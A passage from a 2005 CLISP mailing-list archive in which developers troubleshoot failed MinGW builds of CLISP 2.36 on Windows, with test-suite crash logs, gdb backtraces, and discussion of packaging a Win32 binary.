B)) (MINUS (A B) (- A B))) (LIST (PLUS 1 2) = (MINUS 1 2))) EQUAL-OK: (3 -1) (LIST (FLET ((PLUS (A B) (- A B))) (PLUS 3 2)) (+ 3 2)) EQUAL-OK: (1 5) (FLET ((PLUS (A B) (PLUS (PLUS A B A) B))) (PLUS 3 2)) EQL-OK: 10 (LABELS ((QUEUE (L) (IF (CAR L) (QUEUE (CDR L)) 'ENDE))) (QUEUE '(1 2 = 3))) EQL-OK: ENDE (LABELS ((PLUS (A B) (* A (PLUS A A B)))) (PLUS 1 2 3)) [SIMPLE-PROGRAM-ERROR]:=20 *** - handle_fault error2 ! address =3D 0x19087ee0 not in [0x19d70000,0x19fa46b8) ! SIGSEGV cannot be cured. Fault address =3D 0x19087ee0. Permanently allocated: 87648 bytes. Currently in use: 5354016 bytes. Free space: 48548 bytes. make[1]: *** [tests] Error 5 make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests' make: *** [check-tests] Error 2 Ok, I gave up now trying to compile it with MinGW, unless someone has an idea what I'm doing wrong. But there must be a way to compile it on = Windows, because someone has managed it :-) http://prdownloads.sourceforge.net/clisp/clisp-2.36-win32.zip?download --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Sun Dec 25 16:59:32 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eqgi2-0007Yv-VI for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 16:59:30 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eqghz-0008C3-DN for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 16:59:31 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 25 Dec 2005 19:59:25 -0500 X-IronPort-AV: i="3.99,292,1131339600"; d="scan'208"; a="188541439:sNHT25637492" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0MKxQS-1EqdDy0rLt-0000cB@mrelayeu.kundenserver.de> (Frank Buss's message of "Sun, 25 Dec 2005 22:16:12 +0100") References: <0MKxQS-1EqdDy0rLt-0000cB@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 17:00:02 2005 X-Original-Date: Sun, 25 Dec 2005 19:58:11 -0500 > * Frank Buss [2005-12-25 22:16:12 +0100]: > > "[SIMPLE-ERROR]: SYSTEM::SETENV (\"LOGICAL_HOST_FOO\" NIL): out of > memory this is a known problem on system with broken putenv (woe32, BSD), fixed in the CVS. > Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) > CORRECT: :INPUT > CLISP : NIL > 0 hmm... a MinGW user will have to debug this. > Is there any working manual how to compile CLISP on Windows? $ ./configure --with-mingw --with-module=rawsock --build build-O-mingw works OOTB for me with the current cygwin. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.jihadwatch.org/ http://www.iris.org.il http://www.mideasttruth.com/ http://www.memri.org/ This message is rot13 encrypted (twice!); reading it violates DMCA. From sds@gnu.org Sun Dec 25 17:02:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eqgka-0007dz-Ll for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 17:02:08 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqgkZ-00062r-72 for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 17:02:08 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 25 Dec 2005 20:02:06 -0500 X-IronPort-AV: i="3.99,292,1131339600"; d="scan'208"; a="188541879:sNHT27971652" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0MKwpI-1EqfIM11IK-00077N@mrelayeu.kundenserver.de> (Frank Buss's message of "Mon, 26 Dec 2005 00:28:55 +0100") References: <0MKwpI-1EqfIM11IK-00077N@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 17:03:01 2005 X-Original-Date: Sun, 25 Dec 2005 20:00:51 -0500 > * Frank Buss [2005-12-26 00:28:55 +0100]: > > (DOCUMENTATION (LAMBDA NIL 'BAZONK) 'FUNCTION) > > *** - handle_fault error2 ! address = 0x40c2804 not in > [0x19d70000,0x19fa369c) ! > SIGSEGV cannot be cured. Fault address = 0x40c2804. > Permanently allocated: 87648 bytes. > Currently in use: 5343600 bytes. > Free space: 41247 bytes. > make[1]: *** [tests] Error 5 > make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests' > make: *** [check-tests] Error 2 > > > > I've tried the same (without debug option) again on my PC and it crashes at > another position: > > EQL-OK: ERROR > (LET ((V '(A B C)) (VAL '(3 2 1))) (PROGV V VAL (MAPCAR #'EVAL V))) > EQUAL-OK: (3 2 1) > (DEFUN PLUS (&REST ARGS) (APPLY #'+ ARGS)) > EQL-OK: PLUS > (FLET ((PLUS (A B) (+ A B)) (MINUS (A B) (- A B))) (LIST (PLUS 1 2) (MINUS 1 > 2))) > EQUAL-OK: (3 -1) > (LIST (FLET ((PLUS (A B) (- A B))) (PLUS 3 2)) (+ 3 2)) > EQUAL-OK: (1 5) > (FLET ((PLUS (A B) (PLUS (PLUS A B A) B))) (PLUS 3 2)) > EQL-OK: 10 > (LABELS ((QUEUE (L) (IF (CAR L) (QUEUE (CDR L)) 'ENDE))) (QUEUE '(1 2 3))) > EQL-OK: ENDE > (LABELS ((PLUS (A B) (* A (PLUS A A B)))) (PLUS 1 2 3)) > [SIMPLE-PROGRAM-ERROR]: > *** - handle_fault error2 ! address = 0x19087ee0 not in > [0x19d70000,0x19fa46b8) ! > SIGSEGV cannot be cured. Fault address = 0x19087ee0. > Permanently allocated: 87648 bytes. > Currently in use: 5354016 bytes. > Free space: 48548 bytes. > make[1]: *** [tests] Error 5 > make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests' > make: *** [check-tests] Error 2 one possibility is that I use gcc (GCC) 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125) on cygwin, while you might have a gcc4 on mingw - and that might have bugs. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.savegushkatif.org http://www.openvotingconsortium.org/ http://www.iris.org.il Can I do it in Lisp, or would you rather wait an extra couple of months? From fb@frank-buss.de Sun Dec 25 19:39:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqjCu-00078S-UN for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 19:39:32 -0800 Received: from moutng.kundenserver.de ([212.227.126.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqjCs-0000a1-Ey for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 19:39:32 -0800 Received: from [81.173.233.76] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu6) with ESMTP (Nemesis), id 0ML29c-1EqjCr0nYv-0002wi; Mon, 26 Dec 2005 04:39:29 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYJt56H+GMWpxQaT3uetT4ggVlZlgAFJ2AA In-Reply-To: Message-ID: <0ML29c-1EqjCr0nYv-0002wi@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] RE: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 19:40:01 2005 X-Original-Date: Mon, 26 Dec 2005 04:39:30 +0100 > > Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) > > CORRECT: :INPUT > > CLISP : NIL > > 0 >=20 > hmm... > a MinGW user will have to debug this. I can do this, because it is better to find the reason for the bug = instead of using Cygwin, because while the tests might work on Cygwin, the bug-reason could cause a crash in my programs at customer site, even = with the Cygwin build. But I have problems debugging the program. I've tried this: Frank@GALILEI /clisp-2.36/clisp-gui/tests $ gdb ../lisp.exe GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you = are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for = details. This GDB was configured as "i686-pc-mingw32"... (gdb) r -E utf-8 -norc -B ../ -N ../locale -M ../lispinit.mem -m 30000KW = -i tests -x "(time (run-all-tests))" Starting program: C:\msys\1.0\mingw\1.0\clisp-2.36\clisp-gui\tests/../lisp.exe -E utf-8 = -norc -B ../ -N ../locale -M ../lispinit.mem -m 30000KW -i tests -x "(time (run-all-tests))" Program received signal SIGSEGV, Segmentation fault. 0x0043d825 in closed_buffered () (gdb) bt #0 0x0043d825 in closed_buffered () #1 0x0022fc38 in ?? () #2 0x0040f14a in loadmem () #3 0x0040f9b0 in init_memory () #4 0x0040fd03 in main () (gdb) quit This occured immediatly after startup. When starting "../lisp.exe -E = utf-8 -norc -B ....." from the command line, many tests pass until it crashs. = I have no experience with gdb, perhaps I'm calling it the wrong way? I = don't want to try the version compiled with "--with-debug", because this = version didn't crash, so I have to do it the hard way with printfs. > one possibility is that I use > gcc (GCC) 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125) > on cygwin, while you might have a gcc4 on mingw - and that might have > bugs. I'm using "gcc.exe (GCC) 3.4.2 (mingw-special)". --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Sun Dec 25 19:51:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqjOZ-0007WD-3I for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 19:51:35 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqjOW-0004ze-Pw for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 19:51:35 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Dec 2005 22:51:31 -0500 X-IronPort-AV: i="3.99,293,1131339600"; d="scan'208"; a="146307237:sNHT23094140" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0ML29c-1EqjCr0nYv-0002wi@mrelayeu.kundenserver.de> (Frank Buss's message of "Mon, 26 Dec 2005 04:39:30 +0100") References: <0ML29c-1EqjCr0nYv-0002wi@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 19:52:02 2005 X-Original-Date: Sun, 25 Dec 2005 22:50:16 -0500 > * Frank Buss [2005-12-26 04:39:30 +0100]: > > Program received signal SIGSEGV, Segmentation fault. > 0x0043d825 in closed_buffered () > (gdb) bt > #0 0x0043d825 in closed_buffered () > #1 0x0022fc38 in ?? () > #2 0x0040f14a in loadmem () > #3 0x0040f9b0 in init_memory () > #4 0x0040fd03 in main () > (gdb) quit this has been reported before (on a different platform, I think), I have no idea what this might mean. please file a bug report on SF and we will try to collect data on this. meanwhile, try "rm -f *.o; make" after changing CFLAGS to replace -O with -g -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.memri.org/ http://www.savegushkatif.org http://www.honestreporting.com http://www.mideasttruth.com/ UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From kavenchuk@jenty.by Mon Dec 26 04:48:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eqrli-0002Hf-8j for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 04:48:02 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eqrlf-00012W-JZ for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 04:48:02 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ90ZZHW; Mon, 26 Dec 2005 14:49:25 +0200 Message-ID: <43AFE6E1.5090603@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 26 04:49:07 2005 X-Original-Date: Mon, 26 Dec 2005 14:49:37 +0200 Sam Steingold wrote: > a generally available distribution must be self-contained, i.e., it > should not depend on libraries not normally installed. last question - build with gettext or without? Gettext demands libiconv library which clisp directly is not used under mingw. Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Dec 26 04:53:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqrqW-0002Pn-UQ for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 04:53:00 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqrqV-0005WP-Lo for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 04:53:01 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ90ZZ22; Mon, 26 Dec 2005 14:54:30 +0200 Message-ID: <43AFE812.8080709@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Frank Buss Subject: Re: [clisp-list] Re: Building CLISP on Windows fails References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 26 04:54:02 2005 X-Original-Date: Mon, 26 Dec 2005 14:54:42 +0200 Sam Steingold wrote: > Yaroslav, do you observe this crash? clisp from CVS head, mingw, win2k. Build and test without crash. I shall soon try clisp-2.36 from sf.net -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Dec 26 07:17:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Equ6C-00009y-Fd for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 07:17:20 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Equ62-0008Fs-N3 for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 07:17:20 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Dec 2005 10:17:09 -0500 X-IronPort-AV: i="3.99,293,1131339600"; d="scan'208"; a="146412543:sNHT22975528" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43AFE6E1.5090603@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 26 Dec 2005 14:49:37 +0200") References: <43AFE6E1.5090603@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 26 07:18:01 2005 X-Original-Date: Mon, 26 Dec 2005 10:15:55 -0500 > * Yaroslav Kavenchuk [2005-12-26 14:49:37 +0200]: > > Sam Steingold wrote: > >> a generally available distribution must be self-contained, i.e., it >> should not depend on libraries not normally installed. > > last question - build with gettext or without? > Gettext demands libiconv library which clisp directly is not used under > mingw. I don't care - but please make sure that all the required libraries _are_ included in the zip file. you should try to install the distribution you build on a machine without mingw and see if it works. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.openvotingconsortium.org/ http://www.mideasttruth.com/ http://truepeace.org http://www.jihadwatch.org/ Beliefs divide, doubts unite. From fb@frank-buss.de Mon Dec 26 14:57:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Er1Hm-0001Jd-Lf for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 14:57:46 -0800 Received: from smtp1.netcologne.de ([194.8.194.112]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Er1Hl-00014A-Ir for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 14:57:46 -0800 Received: from galilei (xdsl-81-173-234-220.netcologne.de [81.173.234.220]) by smtp1.netcologne.de (Postfix) with ESMTP id E606238FC5 for ; Mon, 26 Dec 2005 23:57:35 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Building CLISP on Windows fails MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYKb8V0/KXnieyDTpuqx3grWcs63Q== Message-Id: <20051226225735.E606238FC5@smtp1.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 26 14:58:01 2005 X-Original-Date: Mon, 26 Dec 2005 23:57:39 +0100 > clisp from CVS head, mingw, win2k. Build and test without crash. thanks, I can reproduce this: Building from CVS head from today on = Windows XP with mingw it works. How are the plans with CLISP for new releases? --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Mon Dec 26 18:14:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Er4Lh-0003Xi-B8 for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 18:14:01 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Er4Lf-0005Xw-8h for clisp-list@lists.sourceforge.net; Mon, 26 Dec 2005 18:14:01 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 26 Dec 2005 21:13:56 -0500 X-IronPort-AV: i="3.99,295,1131339600"; d="scan'208"; a="146550364:sNHT22865124" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051226225735.E606238FC5@smtp1.netcologne.de> (Frank Buss's message of "Mon, 26 Dec 2005 23:57:39 +0100") References: <20051226225735.E606238FC5@smtp1.netcologne.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 26 18:15:05 2005 X-Original-Date: Mon, 26 Dec 2005 21:12:42 -0500 > * Frank Buss [2005-12-26 23:57:39 +0100]: > >> clisp from CVS head, mingw, win2k. Build and test without crash. > > thanks, I can reproduce this: Building from CVS head from today on > Windows XP with mingw it works. How are the plans with CLISP for new > releases? as soon as you fix http://sourceforge.net/tracker/index.php?func=detail&aid=1389060&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://ffii.org/ http://truepeace.org http://www.honestreporting.com http://www.openvotingconsortium.org/ I don't have an attitude problem. You have a perception problem. From kavenchuk@jenty.by Tue Dec 27 00:05:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Er9q0-0000Qo-LO for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 00:05:40 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Er9py-0001J8-H2 for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 00:05:40 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ90Z7DP; Tue, 27 Dec 2005 10:06:32 +0200 Message-ID: <43B0F614.2080205@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 00:06:01 2005 X-Original-Date: Tue, 27 Dec 2005 10:06:44 +0200 Sam Steingold wrote: > I don't care - but please make sure that all the required libraries > _are_ included in the zip file. > you should try to install the distribution you build on a machine > without mingw and see if it works. > I build and test distribution. How it upload to upload.sf.net:/incoming? Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Dec 27 01:41:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErBL3-00049d-9R for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 01:41:49 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErBKy-00031W-3D for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 01:41:49 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ90Z7KW; Tue, 27 Dec 2005 11:43:06 +0200 Message-ID: <43B10CB6.9000404@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 